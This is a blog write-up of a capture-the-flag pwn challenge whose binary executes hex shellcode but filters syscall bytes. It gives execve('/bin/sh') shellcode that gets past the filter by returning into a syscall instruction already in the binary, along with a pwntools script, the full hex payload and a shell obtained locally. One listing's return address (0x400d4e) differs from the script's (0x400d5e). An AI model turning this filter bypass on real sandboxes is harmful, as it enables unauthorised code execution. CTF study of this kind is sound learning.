Dear readers,
Today’s post is on a CTF which I joined earlier this year. I no longer have access to the pwn server but I still have the file which the server runs on. Let’s get started!
Files provided
There is only one 64-bit ELF provided:
Outlook of the program
$ ./syscall_phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here π
Example: 554889e5c9c3
Enter assembly bytecode here! (No syscalls please, tenks):
If we purposely input assembly bytecode of syscall “int 0x80” which is cd80:
$ ./syscall_phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here π
Example: 554889e5c9c3
Enter assembly bytecode here! (No syscalls please, tenks):
cd80
Hey! I told you no syscalls! π¦
Reverse Engineering
You may download the database of IDA I have reverse engineered here.
If we look at the assembly code in Fig 4a, we can see that the red box will prompt and get our input. The Green box will go into a function to check if our input only contains REGEX [0-9A-Fa-f]* which is to check if it only contains hexadecimal values. The orange box will check if our shellcode contains syscall value 0x0f05.

This can be verified by looking at offset unk_400D5E:

We can see that at 0x400D5E, it contains 0x0F05 while 0x400D61 contains 0xCD80 which is a legacy version of syscall.
If there is “0F05” in our shellcode, a jump will occur, causing the program to print our we included syscall. Otherwise, our shellcode will be checked against the legacy syscall 0xCD80 as shown in the green box in Fig 4c.

Crafting shellcode
Googling for an x86-64 shellcode tutorial, I came across this website axcheron.github.io here. Based on the tutorial, the shellcode is:
xor rax, rax push rax ; string terminator mov rax, 0x68732f6e69622f2f ; "hs/nib//" (Yay! 64-bit registers) push rax mov rdi, rsp ; "//bin/sh",0 pointer is RSP xor rsi, rsi ; RSI = 0 xor rdx, rdx ; RDX = 0 xor rax, rax ; RAX = 0 mov al, 0x3b ; execve() syscall
However, remember we cannot use syscall? Therefore, we can work around it by jumping to the 0x400D5E that contains the bytecode of syscall to execute it! However, we have to see if the file has ASLR. We can solve this by using checksec.
$ checksec --file=./syscall_phobia [*] '/home/soulx/documents/CTF/DSO_NUS_21/syscall_phobia' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
This shows that there is no ASLR since there is no PIE (Position-independent Execution), as well as the program is in little-endian format.
To jump to that location, we can do the Return-Oriented Programming way by pushing 0x0000400D5E onto the stack which acts as the return address before we execute RET instruction.
Below shows the new code:
xor rax, rax push rax ; string terminator mov rax, 0x68732f6e69622f2f ; "hs/nib//" (Yay! 64-bit registers) push rax mov rdi, rsp ; "//bin/sh",0 pointer is RSP xor rsi, rsi ; RSI = 0 xor rdx, rdx ; RDX = 0 xor rax, rax ; RAX = 0 mov al, 0x3b ; execve() push rax ; push 0x00000000 1st due to little-endian push 0x400d4e ; return address to jump to ret
We can easily obtain the shellcode using pwntools:
from pwn import * context.update(arch="amd64", os ="linux") # https://axcheron.github.io/linux-shellcode-101-from-hell-to-shell/ payload = asm("xor rax, rax") + asm("push rax") + asm("mov rax, 0x68732f6e69622f2f") + asm("push rax") + asm("mov rdi, rsp") + asm("xor rsi, rsi") + asm("xor rdx, rdx") + asm("xor rax, rax") + asm("mov al, 0x3b") + asm("push rax") + asm("push 0x400d5e") + asm("ret") payload = "".join(format(x, '02x') for x in payload) # result: 4831c05048b82f2f62696e2f7368504889e74831f64831d24831c0b03b50685e0d4000c3 print(payload)
Once we get the shellcode in a string without “\x”, we can then try it.
$ ./syscall_phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here π
Example: 554889e5c9c3
Enter assembly bytecode here! (No syscalls please, tenks):
4831c05048b82f2f62696e2f7368504889e74831f64831d24831c0b03b50685e0d4000c3
Executing your assembly code!
$ whoami
soulx
$
This shows that our shellcode works! Unfortunately, I don’t have access to the server anymore to show that it can work against the server too.
I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. π